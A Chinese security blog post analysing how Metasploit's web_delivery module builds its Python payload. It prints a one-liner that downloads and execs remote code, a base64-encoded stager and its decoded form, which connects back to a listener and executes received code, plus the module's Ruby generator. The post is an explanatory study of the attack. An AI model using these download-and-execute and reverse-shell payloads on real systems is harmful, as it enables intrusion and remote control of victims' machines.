分析Metasploit中的web_delivery模块python是如何建立通信的

攻击机:Linux Kali
受害机:Windows 10

即刻安全

即刻安全纯技术交流群:307283889

如需转载,请联系本博主声明,私自转载必追究

Prat 1

今天群里的一位老司机装了一台公网的kali,我厚颜无耻的蹭了

然后测试反弹shell的时候发现弹不到shell(当时就映射了80),各种测发现都是坑QAQ

于是我就有了一个大胆的想法QAQ

Prat 2

大胆的想法!

他的payload执行了什么?
他的payload是怎么来的?

首先配置一下web_delivery模块,得到一个payload
image
他会得到一个payload

1
python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:8080/c0DklT82AcnaPH');exec(r.read());"

访问这个http://127.0.0.1:8080/c0DklT82AcnaPH
发现他会下载一个文件,打开看看

1
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNzc3NykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

发现有部分是base64编码过的,解码得到payload代码

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('127.0.0.1',7777))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})

直连测试

既然得到代码,那么我们可以尝试下使用pyhton直接通过socket连接msf呢?测试一下
image
发现获得了一个会话,那么是可行的。

payload的由来

当然,我们需要理解他是如何得到这个payload的。
/usr/share/metasploit-framework/modules/payloads/singles/python目录中可以看见他的模块
image
我们看一下meterpreter_reverse_tcp这个模块
image
ruby不是很懂,只能大概的理解一下意思,这段为生成payload的代码

1
2
3
4
5
6
7
def generate_reverse_tcp(opts={})
socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
opts[:stageless_tcp_socket_setup] = socket_setup

met = stage_meterpreter(opts)
py_create_exec_stub(met)

在看一眼上面的代码,就很明显的明白了。

总结:

用一张图片概括~
image

本文算是科普不喜勿喷~~~(还没做扩展性操作)。